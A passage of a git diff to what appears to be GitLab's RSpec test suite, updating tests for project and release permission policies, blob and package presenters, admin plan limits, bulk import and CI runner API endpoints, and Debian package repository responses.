:internal | ProjectFeature::ENABLED | :developer | true
:internal | ProjectFeature::ENABLED | :reporter | true
:internal | ProjectFeature::ENABLED | :guest | true
:internal | ProjectFeature::ENABLED | :anonymous | false
+ :internal | ProjectFeature::PRIVATE | :admin | true
+ :internal | ProjectFeature::PRIVATE | :owner | true
:internal | ProjectFeature::PRIVATE | :maintainer | true
:internal | ProjectFeature::PRIVATE | :developer | true
:internal | ProjectFeature::PRIVATE | :reporter | true
:internal | ProjectFeature::PRIVATE | :guest | false
:internal | ProjectFeature::PRIVATE | :anonymous | false
+ :internal | ProjectFeature::DISABLED | :admin | false
+ :internal | ProjectFeature::DISABLED | :owner | false
:internal | ProjectFeature::DISABLED | :maintainer | false
:internal | ProjectFeature::DISABLED | :developer | false
:internal | ProjectFeature::DISABLED | :reporter | false
:internal | ProjectFeature::DISABLED | :guest | false
:internal | ProjectFeature::DISABLED | :anonymous | false
+ :private | ProjectFeature::ENABLED | :admin | true
+ :private | ProjectFeature::ENABLED | :owner | true
:private | ProjectFeature::ENABLED | :maintainer | true
:private | ProjectFeature::ENABLED | :developer | true
:private | ProjectFeature::ENABLED | :reporter | true
:private | ProjectFeature::ENABLED | :guest | false
:private | ProjectFeature::ENABLED | :anonymous | false
+ :private | ProjectFeature::PRIVATE | :admin | true
+ :private | ProjectFeature::PRIVATE | :owner | true
:private | ProjectFeature::PRIVATE | :maintainer | true
:private | ProjectFeature::PRIVATE | :developer | true
:private | ProjectFeature::PRIVATE | :reporter | true
:private | ProjectFeature::PRIVATE | :guest | false
:private | ProjectFeature::PRIVATE | :anonymous | false
+ :private | ProjectFeature::DISABLED | :admin | false
+ :private | ProjectFeature::DISABLED | :owner | false
:private | ProjectFeature::DISABLED | :maintainer | false
:private | ProjectFeature::DISABLED | :developer | false
:private | ProjectFeature::DISABLED | :reporter | false
@@ -1535,96 +1578,49 @@ RSpec.describe ProjectPolicy do
let(:current_user) { send(role) }
let(:project) { send("#{project_visibility}_project") }
- it 'allows/disallows the abilities based on the container_registry feature access level' do
+ before do
+ enable_admin_mode!(admin) if role == :admin
project.project_feature.update!(container_registry_access_level: access_level)
+ end
+ it 'allows/disallows the abilities based on the container_registry feature access level' do
if allowed
expect_allowed(*permissions_abilities(role))
+ expect_disallowed(*(all_permissions - permissions_abilities(role)))
else
- expect_disallowed(*permissions_abilities(role))
+ expect_disallowed(*all_permissions)
+ end
+ end
+
+ it 'allows build_read_container_image to admins who are also team members' do
+ if allowed && role == :admin
+ project.add_reporter(current_user)
+
+ expect_allowed(:build_read_container_image)
end
end
def permissions_abilities(role)
case role
- when :maintainer
+ when :admin
+ if project_visibility == :private || access_level == ProjectFeature::PRIVATE
+ maintainer_operations_permissions - admin_excluded_permissions
+ else
+ maintainer_operations_permissions
+ end
+ when :maintainer, :owner
maintainer_operations_permissions
when :developer
developer_operations_permissions
- when :reporter, :guest, :anonymous
+ when :reporter, :guest
guest_operations_permissions
+ when :anonymous
+ anonymous_operations_permissions
else
raise "Unknown role #{role}"
end
end
end
-
- context 'with read_container_registry_access_level disabled' do
- before do
- stub_feature_flags(read_container_registry_access_level: false)
- end
-
- where(:project_visibility, :container_registry_enabled, :role, :allowed) do
- :public | true | :maintainer | true
- :public | true | :developer | true
- :public | true | :reporter | true
- :public | true | :guest | true
- :public | true | :anonymous | true
- :public | false | :maintainer | false
- :public | false | :developer | false
- :public | false | :reporter | false
- :public | false | :guest | false
- :public | false | :anonymous | false
- :internal | true | :maintainer | true
- :internal | true | :developer | true
- :internal | true | :reporter | true
- :internal | true | :guest | true
- :internal | true | :anonymous | false
- :internal | false | :maintainer | false
- :internal | false | :developer | false
- :internal | false | :reporter | false
- :internal | false | :guest | false
- :internal | false | :anonymous | false
- :private | true | :maintainer | true
- :private | true | :developer | true
- :private | true | :reporter | true
- :private | true | :guest | false
- :private | true | :anonymous | false
- :private | false | :maintainer | false
- :private | false | :developer | false
- :private | false | :reporter | false
- :private | false | :guest | false
- :private | false | :anonymous | false
- end
-
- with_them do
- let(:current_user) { send(role) }
- let(:project) { send("#{project_visibility}_project") }
-
- it 'allows/disallows the abilities based on container_registry_enabled' do
- project.update_column(:container_registry_enabled, container_registry_enabled)
-
- if allowed
- expect_allowed(*permissions_abilities(role))
- else
- expect_disallowed(*permissions_abilities(role))
- end
- end
-
- def permissions_abilities(role)
- case role
- when :maintainer
- maintainer_operations_permissions
- when :developer
- developer_operations_permissions
- when :reporter, :guest, :anonymous
- guest_operations_permissions
- else
- raise "Unknown role #{role}"
- end
- end
- end
- end
end
describe 'update_runners_registration_token' do
diff --git a/spec/policies/release_policy_spec.rb b/spec/policies/release_policy_spec.rb
new file mode 100644
index 00000000000..25468ae2ea2
--- /dev/null
+++ b/spec/policies/release_policy_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ReleasePolicy, :request_store do
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:release, reload: true) { create(:release, project: project) }
+
+ let(:user) { developer }
+
+ before_all do
+ project.add_developer(developer)
+ project.add_maintainer(maintainer)
+ end
+
+ subject { described_class.new(user, release) }
+
+ context 'when the evalute_protected_tag_for_release_permissions feature flag is disabled' do
+ before do
+ stub_feature_flags(evalute_protected_tag_for_release_permissions: false)
+ end
+
+ it 'allows the user to create and update a release' do
+ is_expected.to be_allowed(:create_release)
+ is_expected.to be_allowed(:update_release)
+ end
+
+ it 'prevents the user from destroying a release' do
+ is_expected.to be_disallowed(:destroy_release)
+ end
+
+ context 'when the user is maintainer' do
+ let(:user) { maintainer }
+
+ it 'allows the user to destroy a release' do
+ is_expected.to be_allowed(:destroy_release)
+ end
+ end
+ end
+
+ context 'when the user has access to the protected tag' do
+ let_it_be(:protected_tag) { create(:protected_tag, :developers_can_create, name: release.tag, project: project) }
+
+ it 'allows the user to create, update and destroy a release' do
+ is_expected.to be_allowed(:create_release)
+ is_expected.to be_allowed(:update_release)
+ is_expected.to be_allowed(:destroy_release)
+ end
+ end
+
+ context 'when the user does not have access to the protected tag' do
+ let_it_be(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: release.tag, project: project) }
+
+ it 'prevents the user from creating, updating and destroying a release' do
+ is_expected.to be_disallowed(:create_release)
+ is_expected.to be_disallowed(:update_release)
+ is_expected.to be_disallowed(:destroy_release)
+ end
+ end
+end
diff --git a/spec/presenters/blob_presenter_spec.rb b/spec/presenters/blob_presenter_spec.rb
index 38bdf3b9364..466a2b55e76 100644
--- a/spec/presenters/blob_presenter_spec.rb
+++ b/spec/presenters/blob_presenter_spec.rb
@@ -121,16 +121,26 @@ RSpec.describe BlobPresenter do
end
end
- describe '#plain_data' do
+ describe '#raw_plain_data' do
let(:blob) { repository.blob_at('HEAD', file) }
- subject { described_class.new(blob).plain_data }
+ context 'when blob is text' do
+ let(:file) { 'files/ruby/popen.rb' }
+
+ it 'does not include html in the content' do
+ expect(presenter.raw_plain_data.include?('</span>')).to be_falsey
+ end
+ end
+ end
+
+ describe '#plain_data' do
+ let(:blob) { repository.blob_at('HEAD', file) }
context 'when blob is binary' do
let(:file) { 'files/images/logo-black.png' }
it 'returns nil' do
- expect(subject).to be_nil
+ expect(presenter.plain_data).to be_nil
end
end
@@ -138,7 +148,7 @@ RSpec.describe BlobPresenter do
let(:file) { 'README.md' }
it 'returns plain content' do
- expect(subject).to include('<span id="LC1" class="line" lang="markdown">')
+ expect(presenter.plain_data).to include('<span id="LC1" class="line" lang="markdown">')
end
end
@@ -146,7 +156,7 @@ RSpec.describe BlobPresenter do
let(:file) { 'files/ruby/regex.rb' }
it 'returns highlighted syntax content' do
- expect(subject)
+ expect(presenter.plain_data)
.to include '<span id="LC1" class="line" lang="ruby"><span class="k">module</span> <span class="nn">Gitlab</span>'
end
end
@@ -155,7 +165,7 @@ RSpec.describe BlobPresenter do
let(:file) { 'LICENSE' }
it 'returns plain text highlighted content' do
- expect(subject).to include('<span id="LC1" class="line" lang="plaintext">The MIT License (MIT)</span>')
+ expect(presenter.plain_data).to include('<span id="LC1" class="line" lang="plaintext">The MIT License (MIT)</span>')
end
end
end
diff --git a/spec/presenters/ci/build_runner_presenter_spec.rb b/spec/presenters/ci/build_runner_presenter_spec.rb
index 9cb00781e99..4422773fec6 100644
--- a/spec/presenters/ci/build_runner_presenter_spec.rb
+++ b/spec/presenters/ci/build_runner_presenter_spec.rb
@@ -44,29 +44,13 @@ RSpec.describe Ci::BuildRunnerPresenter do
create(:ci_build, options: { artifacts: { paths: %w[abc], exclude: %w[cde] } })
end
- context 'when the feature is enabled' do
- before do
- stub_feature_flags(ci_artifacts_exclude: true)
- end
-
- it 'includes the list of excluded paths' do
- expect(presenter.artifacts.first).to include(
- artifact_type: :archive,
- artifact_format: :zip,
- paths: %w[abc],
- exclude: %w[cde]
- )
- end
- end
-
- context 'when the feature is disabled' do
- before do
- stub_feature_flags(ci_artifacts_exclude: false)
- end
-
- it 'does not include the list of excluded paths' do
- expect(presenter.artifacts.first).not_to have_key(:exclude)
- end
+ it 'includes the list of excluded paths' do
+ expect(presenter.artifacts.first).to include(
+ artifact_type: :archive,
+ artifact_format: :zip,
+ paths: %w[abc],
+ exclude: %w[cde]
+ )
end
end
@@ -193,7 +177,7 @@ RSpec.describe Ci::BuildRunnerPresenter do
end
it 'uses a SHA in the persistent refspec' do
- expect(subject[0]).to match(/^\+[0-9a-f]{40}:refs\/pipelines\/[0-9]+$/)
+ expect(subject[0]).to match(%r{^\+[0-9a-f]{40}:refs/pipelines/[0-9]+$})
end
context 'when ref is tag' do
diff --git a/spec/presenters/merge_request_presenter_spec.rb b/spec/presenters/merge_request_presenter_spec.rb
index c64f9e8465f..b3ec184d08c 100644
--- a/spec/presenters/merge_request_presenter_spec.rb
+++ b/spec/presenters/merge_request_presenter_spec.rb
@@ -11,17 +11,17 @@ RSpec.describe MergeRequestPresenter do
subject { described_class.new(resource).ci_status }
context 'when no head pipeline' do
- it 'return status using CiService' do
- ci_service = double(Integrations::MockCi)
+ it 'return status from Ci integration' do
+ ci_integration = double(Integrations::MockCi)
ci_status = double
allow(resource.source_project)
- .to receive(:ci_service)
- .and_return(ci_service)
+ .to receive(:ci_integration)
+ .and_return(ci_integration)
allow(resource).to receive(:head_pipeline).and_return(nil)
- expect(ci_service).to receive(:commit_status)
+ expect(ci_integration).to receive(:commit_status)
.with(resource.diff_head_sha, resource.source_branch)
.and_return(ci_status)
diff --git a/spec/presenters/packages/nuget/package_metadata_presenter_spec.rb b/spec/presenters/packages/nuget/package_metadata_presenter_spec.rb
index d5e7b23d785..8bb0694f39c 100644
--- a/spec/presenters/packages/nuget/package_metadata_presenter_spec.rb
+++ b/spec/presenters/packages/nuget/package_metadata_presenter_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Packages::Nuget::PackageMetadataPresenter do
include_context 'with expected presenters dependency groups'
- let_it_be(:package) { create(:nuget_package, :with_metadatum) }
+ let_it_be(:package) { create(:nuget_package, :with_symbol_package, :with_metadatum) }
let_it_be(:tag1) { create(:packages_tag, name: 'tag1', package: package) }
let_it_be(:tag2) { create(:packages_tag, name: 'tag2', package: package) }
let_it_be(:presenter) { described_class.new(package) }
@@ -19,7 +19,7 @@ RSpec.describe Packages::Nuget::PackageMetadataPresenter do
end
describe '#archive_url' do
- let_it_be(:expected_suffix) { "/api/v4/projects/#{package.project_id}/packages/nuget/download/#{package.name}/#{package.version}/#{package.package_files.last.file_name}" }
+ let_it_be(:expected_suffix) { "/api/v4/projects/#{package.project_id}/packages/nuget/download/#{package.name}/#{package.version}/#{package.package_files.with_format('nupkg').last.file_name}" }
subject { presenter.archive_url }
diff --git a/spec/presenters/packages/nuget/service_index_presenter_spec.rb b/spec/presenters/packages/nuget/service_index_presenter_spec.rb
index 9c95fbc8fd2..aa69a9c3017 100644
--- a/spec/presenters/packages/nuget/service_index_presenter_spec.rb
+++ b/spec/presenters/packages/nuget/service_index_presenter_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe ::Packages::Nuget::ServiceIndexPresenter do
describe '#resources' do
subject { presenter.resources }
- shared_examples 'returning valid resources' do |resources_count: 8, include_publish_service: true|
+ shared_examples 'returning valid resources' do |resources_count: 9, include_publish_service: true|
it 'has valid resources' do
expect(subject.size).to eq resources_count
subject.each do |resource|
@@ -38,10 +38,15 @@ RSpec.describe ::Packages::Nuget::ServiceIndexPresenter do
end
end
- it "does #{'not ' unless include_publish_service}return the publish resource" do
+ it "does #{'not ' unless include_publish_service}return the publish resource", :aggregate_failures do
services_types = subject.map { |res| res[:@type] }
- described_class::SERVICE_VERSIONS[:publish].each do |publish_service_version|
+ publish_service_versions = [
+ described_class::SERVICE_VERSIONS[:publish],
+ described_class::SERVICE_VERSIONS[:symbol]
+ ].flatten
+
+ publish_service_versions.each do |publish_service_version|
if include_publish_service
expect(services_types).to include(publish_service_version)
else
@@ -54,7 +59,7 @@ RSpec.describe ::Packages::Nuget::ServiceIndexPresenter do
context 'for a group' do
let(:target) { group }
- # at the group level we don't have the publish and download service
+ # at the group level we don't have the publish, symbol, and download service
it_behaves_like 'returning valid resources', resources_count: 6, include_publish_service: false
end
diff --git a/spec/presenters/snippet_blob_presenter_spec.rb b/spec/presenters/snippet_blob_presenter_spec.rb
index 42eca6b5a49..1a5130dcdf6 100644
--- a/spec/presenters/snippet_blob_presenter_spec.rb
+++ b/spec/presenters/snippet_blob_presenter_spec.rb
@@ -120,6 +120,27 @@ RSpec.describe SnippetBlobPresenter do
end
end
+ describe '#raw_plain_data' do
+ context "with a plain file" do
+ subject { described_class.new(blob, current_user: user) }
+
+ it 'shows raw data for non binary files' do
+ expect(subject.raw_plain_data).to eq(blob.data)
+ end
+ end
+
+ context "with a binary file" do
+ let(:file) { 'files/images/logo-black.png' }
+ let(:blob) { blob_at(file) }
+
+ subject { described_class.new(blob, current_user: user) }
+
+ it 'returns nil' do
+ expect(subject.raw_plain_data).to be_nil
+ end
+ end
+ end
+
describe '#raw_url' do
subject { described_class.new(blob, current_user: user).raw_url }
diff --git a/spec/requests/api/admin/plan_limits_spec.rb b/spec/requests/api/admin/plan_limits_spec.rb
index 6bc133f67c0..f497227789a 100644
--- a/spec/requests/api/admin/plan_limits_spec.rb
+++ b/spec/requests/api/admin/plan_limits_spec.rb
@@ -29,6 +29,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response['npm_max_file_size']).to eq(Plan.default.actual_limits.npm_max_file_size)
expect(json_response['nuget_max_file_size']).to eq(Plan.default.actual_limits.nuget_max_file_size)
expect(json_response['pypi_max_file_size']).to eq(Plan.default.actual_limits.pypi_max_file_size)
+ expect(json_response['terraform_module_max_file_size']).to eq(Plan.default.actual_limits.terraform_module_max_file_size)
end
end
@@ -48,6 +49,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response['npm_max_file_size']).to eq(Plan.default.actual_limits.npm_max_file_size)
expect(json_response['nuget_max_file_size']).to eq(Plan.default.actual_limits.nuget_max_file_size)
expect(json_response['pypi_max_file_size']).to eq(Plan.default.actual_limits.pypi_max_file_size)
+ expect(json_response['terraform_module_max_file_size']).to eq(Plan.default.actual_limits.terraform_module_max_file_size)
end
end
@@ -85,7 +87,8 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
'maven_max_file_size': 30,
'npm_max_file_size': 40,
'nuget_max_file_size': 50,
- 'pypi_max_file_size': 60
+ 'pypi_max_file_size': 60,
+ 'terraform_module_max_file_size': 70
}
expect(response).to have_gitlab_http_status(:ok)
@@ -96,6 +99,7 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
expect(json_response['npm_max_file_size']).to eq(40)
expect(json_response['nuget_max_file_size']).to eq(50)
expect(json_response['pypi_max_file_size']).to eq(60)
+ expect(json_response['terraform_module_max_file_size']).to eq(70)
end
it 'updates single plan limits' do
@@ -128,7 +132,8 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
'maven_max_file_size': 'c',
'npm_max_file_size': 'd',
'nuget_max_file_size': 'e',
- 'pypi_max_file_size': 'f'
+ 'pypi_max_file_size': 'f',
+ 'terraform_module_max_file_size': 'g'
}
expect(response).to have_gitlab_http_status(:bad_request)
@@ -139,7 +144,8 @@ RSpec.describe API::Admin::PlanLimits, 'PlanLimits' do
'generic_packages_max_file_size is invalid',
'npm_max_file_size is invalid',
'nuget_max_file_size is invalid',
- 'pypi_max_file_size is invalid'
+ 'pypi_max_file_size is invalid',
+ 'terraform_module_max_file_size is invalid'
)
end
end
diff --git a/spec/requests/api/api_spec.rb b/spec/requests/api/api_spec.rb
index 46430e55ff2..81620fce448 100644
--- a/spec/requests/api/api_spec.rb
+++ b/spec/requests/api/api_spec.rb
@@ -81,6 +81,7 @@ RSpec.describe API::API do
let_it_be(:maven_metadatum) { package.maven_metadatum }
let_it_be(:package_file) { package.package_files.first }
let_it_be(:deploy_token) { create(:deploy_token) }
+
let(:headers_with_deploy_token) do
{
Gitlab::Auth::AuthFinders::DEPLOY_TOKEN_HEADER => deploy_token.token
@@ -138,6 +139,7 @@ RSpec.describe API::API do
describe 'Marginalia comments' do
context 'GET /user/:id' do
let_it_be(:user) { create(:user) }
+
let(:component_map) do
{
"application" => "test",
diff --git a/spec/requests/api/award_emoji_spec.rb b/spec/requests/api/award_emoji_spec.rb
index 1c825949ae8..07a9f7dfd74 100644
--- a/spec/requests/api/award_emoji_spec.rb
+++ b/spec/requests/api/award_emoji_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe API::AwardEmoji do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:award_emoji) { create(:award_emoji, awardable: issue, user: user) }
let_it_be(:note) { create(:note, project: project, noteable: issue) }
+
let!(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
let!(:downvote) { create(:award_emoji, :downvote, awardable: merge_request, user: user) }
diff --git a/spec/requests/api/branches_spec.rb b/spec/requests/api/branches_spec.rb
index 36fbe86ac76..ad517a05533 100644
--- a/spec/requests/api/branches_spec.rb
+++ b/spec/requests/api/branches_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe API::Branches do
let_it_be(:user) { create(:user) }
+
let(:project) { create(:project, :repository, creator: user, path: 'my.project') }
let(:guest) { create(:user).tap { |u| project.add_guest(u) } }
let(:branch_name) { 'feature' }
@@ -20,7 +21,7 @@ RSpec.describe API::Branches do
stub_feature_flags(branch_list_keyset_pagination: false)
end
- describe "GET /projects/:id/repository/branches", :use_clean_rails_redis_caching do
+ describe "GET /projects/:id/repository/branches", :use_clean_rails_redis_caching, :clean_gitlab_redis_shared_state do
let(:route) { "/projects/#{project_id}/repository/branches" }
shared_examples_for 'repository branches' do
@@ -74,6 +75,14 @@ RSpec.describe API::Branches do
check_merge_status(json_response)
end
+
+ it 'recovers pagination headers from cache between consecutive requests' do
+ 2.times do
+ get api(route, current_user), params: base_params
+
+ expect(response.headers).to include('X-Page')
+ end
+ end
end
context 'with gitaly pagination params' do
@@ -718,10 +727,11 @@ RSpec.describe API::Branches do
end
it 'returns 400 if ref name is invalid' do
+ error_message = 'Failed to create branch \'new_design3\': invalid reference name \'foo\''
post api(route, user), params: { branch: 'new_design3', ref: 'foo' }
expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['message']).to eq('Invalid reference name: foo')
+ expect(json_response['message']).to eq(error_message)
end
end
diff --git a/spec/requests/api/bulk_imports_spec.rb b/spec/requests/api/bulk_imports_spec.rb
new file mode 100644
index 00000000000..f0edfa6f227
--- /dev/null
+++ b/spec/requests/api/bulk_imports_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::BulkImports do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:import_1) { create(:bulk_import, user: user) }
+ let_it_be(:import_2) { create(:bulk_import, user: user) }
+ let_it_be(:entity_1) { create(:bulk_import_entity, bulk_import: import_1) }
+ let_it_be(:entity_2) { create(:bulk_import_entity, bulk_import: import_1) }
+ let_it_be(:entity_3) { create(:bulk_import_entity, bulk_import: import_2) }
+ let_it_be(:failure_3) { create(:bulk_import_failure, entity: entity_3) }
+
+ describe 'GET /bulk_imports' do
+ it 'returns a list of bulk imports authored by the user' do
+ get api('/bulk_imports', user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.pluck('id')).to contain_exactly(import_1.id, import_2.id)
+ end
+ end
+
+ describe 'GET /bulk_imports/entities' do
+ it 'returns a list of all import entities authored by the user' do
+ get api('/bulk_imports/entities', user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.pluck('id')).to contain_exactly(entity_1.id, entity_2.id, entity_3.id)
+ end
+ end
+
+ describe 'GET /bulk_imports/:id' do
+ it 'returns specified bulk import' do
+ get api("/bulk_imports/#{import_1.id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['id']).to eq(import_1.id)
+ end
+ end
+
+ describe 'GET /bulk_imports/:id/entities' do
+ it 'returns specified bulk import entities with failures' do
+ get api("/bulk_imports/#{import_2.id}/entities", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.pluck('id')).to contain_exactly(entity_3.id)
+ expect(json_response.first['failures'].first['exception_class']).to eq(failure_3.exception_class)
+ end
+ end
+
+ describe 'GET /bulk_imports/:id/entities/:entity_id' do
+ it 'returns specified bulk import entity' do
+ get api("/bulk_imports/#{import_1.id}/entities/#{entity_2.id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['id']).to eq(entity_2.id)
+ end
+ end
+
+ context 'when user is unauthenticated' do
+ it 'returns 401' do
+ get api('/bulk_imports', nil)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+end
diff --git a/spec/requests/api/ci/pipelines_spec.rb b/spec/requests/api/ci/pipelines_spec.rb
index 092cd00630e..eb6c0861844 100644
--- a/spec/requests/api/ci/pipelines_spec.rb
+++ b/spec/requests/api/ci/pipelines_spec.rb
@@ -491,6 +491,7 @@ RSpec.describe API::Ci::Pipelines do
describe 'GET /projects/:id/pipelines/:pipeline_id/bridges' do
let_it_be(:bridge) { create(:ci_bridge, pipeline: pipeline) }
+
let(:downstream_pipeline) { create(:ci_pipeline) }
let!(:pipeline_source) do
diff --git a/spec/requests/api/ci/runner/jobs_request_post_spec.rb b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
index 8896bd44077..00c3a0a31af 100644
--- a/spec/requests/api/ci/runner/jobs_request_post_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
@@ -297,7 +297,13 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when job filtered by job_age' do
- let!(:job) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0, queued_at: 60.seconds.ago) }
+ let!(:job) do
+ create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0, queued_at: 60.seconds.ago)
+ end
+
+ before do
+ job.queuing_entry&.update!(created_at: 60.seconds.ago)
+ end
context 'job is queued less than job_age parameter' do
let(:job_age) { 120 }
@@ -797,29 +803,16 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when a runner supports this feature' do
- it 'exposes excluded paths when the feature is enabled' do
- stub_feature_flags(ci_artifacts_exclude: true)
-
+ it 'exposes excluded paths' do
request_job info: { features: { artifacts_exclude: true } }
expect(response).to have_gitlab_http_status(:created)
expect(json_response.dig('artifacts').first).to include('exclude' => ['cde'])
end
-
- it 'does not expose excluded paths when the feature is disabled' do
- stub_feature_flags(ci_artifacts_exclude: false)
-
- request_job info: { features: { artifacts_exclude: true } }
-
- expect(response).to have_gitlab_http_status(:created)
- expect(json_response.dig('artifacts').first).not_to have_key('exclude')
- end
end
context 'when a runner does not support this feature' do
it 'does not expose the build at all' do
- stub_feature_flags(ci_artifacts_exclude: true)
-
request_job
expect(response).to have_gitlab_http_status(:no_content)
diff --git a/spec/requests/api/ci/runner/jobs_trace_spec.rb b/spec/requests/api/ci/runner/jobs_trace_spec.rb
index e077a174b08..e20c7e36096 100644
--- a/spec/requests/api/ci/runner/jobs_trace_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_trace_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
+RSpec.describe API::Ci::Runner, :clean_gitlab_redis_trace_chunks do
include StubGitlabCalls
include RedisHelpers
include WorkhorseHelpers
@@ -142,7 +142,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
context 'when redis data are flushed' do
before do
- redis_shared_state_cleanup!
+ redis_trace_chunks_cleanup!
end
it 'has empty trace' do
@@ -272,6 +272,18 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
it { expect(response).to have_gitlab_http_status(:forbidden) }
end
+ context 'when the job trace is too big' do
+ before do
+ project.actual_limits.update!(ci_jobs_trace_size_limit: 1)
+ end
+
+ it 'returns 403 Forbidden' do
+ patch_the_trace(' appended', headers.merge({ 'Content-Range' => "#{1.megabyte}-#{1.megabyte + 9}" }))
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
def patch_the_trace(content = ' appended', request_headers = nil, job_id: job.id)
unless request_headers
job.trace.read do |stream|
diff --git a/spec/requests/api/ci/runner/runners_post_spec.rb b/spec/requests/api/ci/runner/runners_post_spec.rb
index 1696fe63d5d..6d222046998 100644
--- a/spec/requests/api/ci/runner/runners_post_spec.rb
+++ b/spec/requests/api/ci/runner/runners_post_spec.rb
@@ -11,8 +11,10 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
before do
stub_feature_flags(ci_enable_live_trace: true)
+ stub_feature_flags(runner_registration_control: false)
stub_gitlab_calls
stub_application_setting(runners_registration_token: registration_token)
+ stub_application_setting(valid_runner_registrars: ApplicationSetting::VALID_RUNNER_REGISTRAR_TYPES)
allow_any_instance_of(::Ci::Runner).to receive(:cache_attributes)
end
@@ -122,6 +124,33 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(project.runners.recent.size).to eq(1)
end
end
+
+ context 'when valid runner registrars do not include project' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['group'])
+ end
+
+ context 'when feature flag is enabled' do
+ before do
+ stub_feature_flags(runner_registration_control: true)
+ end
+
+ it 'returns 403 error' do
+ request
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when feature flag is disabled' do
+ it 'registers the runner' do
+ request
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(::Ci::Runner.first.active).to be true
+ end
+ end
+ end
end
context 'when group token is used' do
@@ -180,6 +209,33 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(group.runners.recent.size).to eq(1)
end
end
+
+ context 'when valid runner registrars do not include group' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['project'])
+ end
+
+ context 'when feature flag is enabled' do
+ before do
+ stub_feature_flags(runner_registration_control: true)
+ end
+
+ it 'returns 403 error' do
+ request
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when feature flag is disabled' do
+ it 'registers the runner' do
+ request
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(::Ci::Runner.first.active).to be true
+ end
+ end
+ end
end
end
diff --git a/spec/requests/api/composer_packages_spec.rb b/spec/requests/api/composer_packages_spec.rb
index 4120edabea3..e75725cacba 100644
--- a/spec/requests/api/composer_packages_spec.rb
+++ b/spec/requests/api/composer_packages_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe API::ComposerPackages do
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let_it_be(:package_name) { 'package-name' }
let_it_be(:project, reload: true) { create(:project, :custom_repo, files: { 'composer.json' => { name: package_name }.to_json }, group: group) }
+
let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
let(:headers) { {} }
diff --git a/spec/requests/api/debian_group_packages_spec.rb b/spec/requests/api/debian_group_packages_spec.rb
index c3abb06c5c1..931eaf41891 100644
--- a/spec/requests/api/debian_group_packages_spec.rb
+++ b/spec/requests/api/debian_group_packages_spec.rb
@@ -15,23 +15,23 @@ RSpec.describe API::DebianGroupPackages do
describe 'GET groups/:id/-/packages/debian/dists/*distribution/Release' do
let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/Release" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Release$/
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^Codename: fixture-distribution\n$/
end
describe 'GET groups/:id/-/packages/debian/dists/*distribution/InRelease' do
let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/InRelease" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :not_found
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^Codename: fixture-distribution\n$/
end
describe 'GET groups/:id/-/packages/debian/dists/*distribution/:component/binary-:architecture/Packages' do
- let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/#{component}/binary-#{architecture}/Packages" }
+ let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/#{component.name}/binary-#{architecture.name}/Packages" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Packages$/
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /Description: This is an incomplete Packages file/
end
